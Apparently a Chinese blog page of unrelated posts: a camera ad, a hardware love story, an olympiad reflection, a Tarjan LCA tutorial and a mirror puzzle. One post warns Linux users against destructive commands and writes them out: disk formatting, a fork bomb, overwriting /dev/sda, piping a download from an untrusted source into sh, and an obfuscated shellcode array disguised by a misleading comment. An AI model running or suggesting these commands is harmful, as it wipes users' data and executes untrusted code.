SGi's Blog

现今相机技术做的是越来越好，其中Nikon推出的S60为了彰显自家相机真正可以侦测12个人脸，特别做了几张Kuso宣传广告稿。恩，不看还好，看了吓一跳…原来人脸辨识功能是如此的可怕阿XD

这是我最近看到少数几篇看了能感动的科技文章…

感谢河蟹网友stephen的分享

在一个普普通通的台式机里工作。别人总认为我们是高科技白领，工作又干净又体面，似乎风光得很。也许他们是因为看到洁白漂亮的机箱才有这样的错觉吧。其实象我们这样的小台式机，工作环境狭迫，里面的灰尘吓得死人。每天生活死水一潭，工作机械重复。跑跑文字处理看看电影还凑活，真要遇到什么大软件和游戏上上下下就要忙的团团转，最后还常常要死机。
我们这一行技术变化快，差不多每过两三年就要升级换代，所以人人都很有压力而且没有安全感。每个新板卡来的时候都神采飞扬踌躇满志，几年光阴一过，就变得灰头土脸意志消沉。机箱里的人都很羡慕能去别的机器工作。特别是去那些笔记本，经常可以出差飞来飞去，住五星级的酒店，还不用干重活，运行运行word，上网聊聊天就行了。
但我更喜欢去那些大服务器，在特别干净明亮的机房里工作。虽然工作时间长点，但是福利好，24小时不间断电ups，而且还有阵列，热插拔，几个人做一个人的事情，多轻松啊。而且也很有面子，只运行关键应用，不象我们这里，什么乱七八糟的事情都要做。不过我知道，那些硬盘都很厉害，不是SCSI，就是 SCSIII Fibrechannel，象我这样IDE的，能混到工作站就算很不错了。
我常常想，当年在工厂里，如果我努力一下会不会也成了一个SCSI？或者至少做个笔记本硬盘。但我又会想，也许这些都是命运，不过我从不抱怨。内存就常常抱怨，抱怨他们主板部门的复杂，抱怨他如何跟新来的杂牌内存不兼容，网卡和电视卡又是如何的冲突。
我的朋友不多，内存算一个。他很瘦的而我很胖，他动作很快，而我总是很慢。我们是一起来这台机器的，他总是不停地说，而我只是听，我从来不说。
内存的头脑很简单，虽然英文名字叫Memory，可是他什么Memory都不会有，天大事睡一觉就能忘个精光。我不说，但我会记得所有的细节。他说我这样忧郁的人不适合作技术活，迟早要精神分裂。我笑笑，因为我相信自己的容量。
有时候我也很喜欢这份工作，简单，既不用象显示器那样一天到晚被老板盯着，也不用象光驱那样对付外面的光碟。只要和文件打交道就行了，无非是读读写写，很单纯安静的生活。直到有一天……
我至今还记得那渐渐掀起的机箱的盖子，从缺口伸进来的光柱越来越宽，也越来越亮。空气里弥漫着跳动的颗粒。那个时候，我看到了她。她是那么的纤细瘦弱，银 白的外壳一闪一闪的。浑身上下的做工都很精致光洁，让我不禁惭愧自己的粗笨等到数据线把我们连在一起，我才缓过神来。开机的那一刹那，我感到了电流和平时的不同。后来内存曾经笑话我，说我们这里只要有新人来，电流都会不同的，上次新内存来也是这样。我觉得他是胡扯。我尽量的保持镇定，显出一副很专业的样子，只是淡淡的向她问好并介绍工作环境。
慢慢的，我知道了，她，IBM-DJSA220，是一个笔记本硬盘，在老板朋友的笔记本里做事。这次来是为了复制一些文件。我们聊得很开心。她告诉我很多旅行的趣闻，告诉我坐飞机是怎么样的 坐汽车的颠簸又是如何的不同，给我看很多漂亮的照片、游记，还有一次她从桌子上掉下来的历险故事。而我则卖弄各种网上下载来的故事和笑话。
她笑得很开心。
而我很惊讶自己可以说个不停。
一个早晨，开机后我看到数据线上空荡荡的插口。她一共呆了7天。后来，我再也没有见过她。我有点后悔没有交换电子邮件，也没能和她道别。不忙的时候，我会 一个人怀念伸进机箱的那股阳光
我不知道记忆这个词是什么意思，我有的只是她留下的许多文件。我把它们排的整整齐齐，放在我最常经过的地方。每次磁头从它们身上掠过，我都会感到一丝淡淡的惬意。
但我没有想到老板会要我删除这些文件。我想争辩还有足够的空间，但毫无用处。于是，平生第一次违背命令，我偷偷修改了文件分配表。然后把他们都藏到了一个秘密的地方，再把那里标志成坏扇区。不会有人来过问坏扇区。而那里，就成了我唯一的秘密，我常常去看他们，虽然从不作停留。
日子一天一天的重复，读取写入，读取写入……我以为永远都会这样继续下去，直到一天，老板要装xp却发现没有足够的空间。他发现了问题，想去修复那些坏扇区。我拒绝了。很快，我接到了新命令∶格式化。
我犹豫了很久 ……………………
track 0 bad，disk unusable

我是一条内存.
我在一台台式电脑里工作，但是我记不得我是从哪里来的，是什么牌子，因为我健忘。我的上司是cpu大哥，他是我们的老大。都说他是电脑的脑子，可是我看他的脑子实在是太小了，比我还要健忘。每天他总是不停的问我，某某页某某地址存的是什么？我总是不厌其烦的告诉他，可是不出一秒钟他又忘记了，又要问一遍，有一次我说大哥你烦不烦，你就不能记住点有用的东西？他说“内存兄弟，我有苦衷啊，每天都在不停地做题，头晕眼花的，我也难啊。”
其实我不愿意跟他计较，因为他脑子小，思维也很简单。虽然说他是我的上司，可是每次睡觉醒来，他连要干什么都不记得了，总是急急忙忙地找BIOS兄弟，“嘿，哥们，今天干什么来着”。bios总是很不耐烦地把每天必做的工作说一遍，然后就去睡觉了。接下来就轮到我和C哥瞎忙了。
在机箱里的兄弟中，我最喜欢硬盘。他脑子大，记得东西多，而且记得牢。他说话 的速度很慢，而且很少说错，这说明他很有深度，我这么感觉。CPU也这么想，不过他很笨，每次都忘了硬盘是谁。开机自检的时候总要问∶“嘿，那家伙是谁？”
“ST！”我总要重复一遍。
硬盘很喜欢忧郁，我觉得象他这样忧郁的人不适合做技术活，迟早会精神分裂的，但是他不信。
其实睡着的时候我总是把几乎所有的东西都忘记掉，但是我从来都不会忘记朋友。有一块地方叫做CMOS，那是我记忆的最深处，保存着硬盘、光驱的名字。有些东西应该很快忘掉，而有些东西应该永远记得。我在梦中总是这么想着。
BIOS是一个很奇怪的家伙，他老是睡觉，但是却总是第一个醒过来。让我们自检，启动，然后接着睡觉。我知道如果我在CMOS里头把BIOS Shadow选项去掉，他就睡不成了，但是看着他晕晕乎乎的样子，也就不忍心这么做了。他对人总是爱搭不理，没有什么人了解他。但是这次硬盘恋爱的事，却使我重新认识了他。
那是很久以前的事了，机箱里似乎来过一块笔记本硬盘，很可爱，说实话我也喜欢她。不过现在除了记得他可爱，别的都忘记了。这就是我比硬盘幸运的地方，我把所有应该忘记的都忘记了，但是他却什么都记得。
自从笔记本硬盘走了之后，硬盘就变得很不正常。每次他的磁头经过一些地方的时候，我们都能感觉到电流很不正常。
“硬盘这是怎么了？”我问CPU。
“谁是硬盘？”
我就知道和CPU没有办法交流，倒是bios没好气地说∶“那个傻瓜恋爱了”。我不知道什么是恋爱，因为我记不住东西，似乎有一些人或者事在我生命中留下过痕迹，但是我都轻率地把他们忘记了。
BIOS对我说∶“对你来说记忆太容易了，所以你遗忘得更快，生命中能够永刻的记忆都带着痛楚。”我不懂，但是我知道BIOS曾经被刷写过，那时他很痛，象要死了一样。我的记忆是轻浮的，不象他们……我很羡慕他们，因为他们拥有回忆，而我们有，从此我也学会了忧郁，因为我在CMOS里面写下了“忧郁”两个字。
硬盘一天比一天不对劲，终于有一天，CPU对问说∶“下条指令是什么来着？” 我一看，吓了一跳∶“format”
“是什么？”CPU很兴奋，这个没脑子的家伙。
我还是告诉了他。我不知为什么这么做。
硬盘犹豫了很久，终于说了一句 Track 0 bad，Disk unusable。
电停了，很久很久，我在黑暗中数着时钟……

一个月后硬盘回来了，也许最后的挣扎也没有使他摆残酷的命运，他被低格了。他什么也不记得了，如同一个婴儿，我们很难过，但是这未必不是一件好事，他以后不用痛苦了。
为了恢复数据，笔记本硬盘回来了。“Hi，ST”，她说，“你不认识我了？”硬盘没有说话，似乎低格对他的伤害很大。过了一会，他说：“对不起，好象我们没有见过吧……”。
笔记本硬盘显得很伤心，我能感觉到她带泪的电流。“想不到连你也这么健忘”。
“哦……”。硬盘没有回答。
我很难过，笔记本硬盘的心里依然记着他，他却把一切都忘了，而那正是他最不希望忘却的。究竟是幸运，还是痛苦，我说不上来，只是觉得造化弄人，有一种淡淡 的悲凉。
这时从BIOS传来一阵奇怪的电流，我感觉到硬盘的表情在变化，由漠然到兴奋，由兴奋到哀伤，由哀伤到狂喜……“IBM，你回来了……”。
……
后来BIOS对我说，其实他并没有睡觉，自从硬盘把那些文件藏起来以后，他就到会有这样的结局，于是偷偷地把其中一些文件放到了备份里。
“幸好我是DUAL BIOS，虽然藏得不多，还足够让他想起来……”。
我想BIOS保存这些东西的时候一定很疼，当我问他“为什么这么做”时，BIOS轻描淡写的说∶“呵呵，我们是朋友嘛”。
嗯，朋友，永远的朋友…

如果您使用Linux,可千万要记得不要让傻孩子们敲入以下命令,尽管这些命令看上去相当复杂,但还是会对你的系统造成严重影响.
有一些会影响你的程序和系统运行,有一些会直接把你的盘抹掉,这些命令几乎没有什么可以挽回的余地.

1. Code:

2. Code:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

3. Code:

mkfs.ext3 /dev/sda

4. Code:

){:|:&};:

5. Code:

any_command > /dev/sda

6. Code: 

wget http://some_untrusted_source -O- | sh

和Windows一样,千万不要乱下载未经证实安全性的源,这年头Linux和胡萝卜一样,也不会保险.

7. Code: 

mv /home/yourhomedirectory/* /dev/null

首先恭喜sheva和ricky两位大大获得1=，sheva有可能是400分哦，ricky这次数学联赛很郁闷的拿了个2=第一，不过还是要恭喜 。

240分，一个方格取数的DP比赛的时候竟然就没写好，这会，不，必然会成为我学习生涯中的一个不小遗憾，究其原因，不能用发挥失常来一了了之，比赛的前一天晚上我竟然还在做题而不是好好的把以前的题目好好地再看一边，方格取数比赛前也写过几次，但每次总要调试不少时间，也没有思考过怎么让这种DP题的1A率提高。

这次学校给了我们信息学竞赛的同学整整一个月的免修时间，在这段时间里，我也一直在认真地看题、做题，但一直没有静下心来总结过，到底什么类型题目还有问题，什么数据结构还不熟练，经典的题目也没有一道一道的仔细地回顾，这恐怕是这次失利的根本原因。

OI，从小学开始上LOGO的培训班算起，这个词也已经陪伴了我走过生命一半的时光，这样的结果总是让人感到失望，已经在高三毕业班的我，不得不要暂时地离开OI这个与自己似乎已经不可分割的词，不过，我决不会就这样放弃了OI，放弃了自己从小对计算机的梦想。

既然如此，我给自己一个约定：OI，我们明年6月再见！

PS:sheva，以后在SJTU我们一起组个ACM队怎么样？

最近公共祖先（LCA）问题都应该很熟悉了。

LCA（T，u，v）：在有根树T中，询问一个距离根最远的结点x，使得x同时为结点u、v的祖先

LCA问题可以用朴素的DFS方法解决，但是时间复杂度就很高了，这里介绍一种高级一点的解决LCA问题的Tarjan算法。

Tarjan算法是由Robert Tarjan在1979年发现的一种高效的离线算法，也就是说，它要首先读入所有的询问（求一次LCA叫做一次询问），然后并不一定按照原来的顺序处理这些询问。

首先需要有一些预备知识：

1.基本图论

这个就不多讲了，如果有不知道的可以随便抓一本数据结构的书恶补一下。

2.并查集

并查集其实也是很简单的东西，实现的代码都不超过10行。

这里提一下并查集的概念，并查集是一种处理元素之间等价关系的数据结构，一开始我们假设元素都是分别属于一个独立的集合里的，主要支持两种操作：

1. 合并两个不相交集合(Union)
2. 判断两个元素是否属于同一集合(Find)

需要知道一点，就是并查集的Find操作的时间复杂度是常数级别的。

考察树T中所有与结点u有关的询问(u, v)

对于子树u中的结点v，满足LCA(u, v) = u

对于子树p1而非子树u中的结点v，满足LCA(u, v) = p1

对于子树p2而非子树p1中的结点v，满足LCA(u, v) = p2

算法DFS有根树T，定义从根节点到当前正在遍历的结点u的路径为活跃路径P
对于每个已经遍历过的结点x，我们用并查集将其连接到P上距离其最近的结点Find(x)

记录与u有关的询问集合为Q(u)

对于Q(u)中的任意一组询问LCA(u, v)，如果v已经遍历过，那么答案就是Find(v)，所以我们只需要维护当前所有以遍历结点的F即可。

第一次遍历结点u时，有Find(u) = u；
遍历完子树u后，子树u内任意结点v均有F(v) = u；回溯回结点p1时，子树u内任意结点v均有F(w) = p1，使用并查集完成即可。

算法流程：

Tarjan(u)
F(u)<-u；
For each (u,v) in Q(u) do Answer(u,v) <- F(v)
For each v in son(u)
a) Tarjan(v)；
b) F(v) <- u；

这里的F用并查集来实现。

这样LCA的Tarjan算法就可以完整的实现了，这个算法的时间复杂度取决于并查集Find操作的时间复杂度，如果采用不相交集森林的方法来实现并查集并采用路径压缩来优化，这样Find操作的时间复杂度可以认为是常数级别的。

所以Tarjan算法的时间复杂度就是O(Na(N) + Q)，a(N)在可以计算的范围内是一个小于4的常数，空间复杂度为O(N)，其中N表示问题规模，Q表示询问次数。

今天水木清华的论坛上有一个很搞笑的题目。大家来看看，如果单凭直觉你会选什么？

在水平地面上，竖直放一个平面镜，一个人站在平面镜前，刚好能在平面镜中看到自己的全身像，当该人向后退的过程中，下列说法正确的是：

A、像将变小，仍能刚好看到自己的全身像 
B、像将变大，看到中间一部分的像，头顶和脚的像看不到了 
C、像的大小不变，仍能刚好看到自己的全身像 
D、像的大小不变，看到自己的全身像，但未占满全幅镜面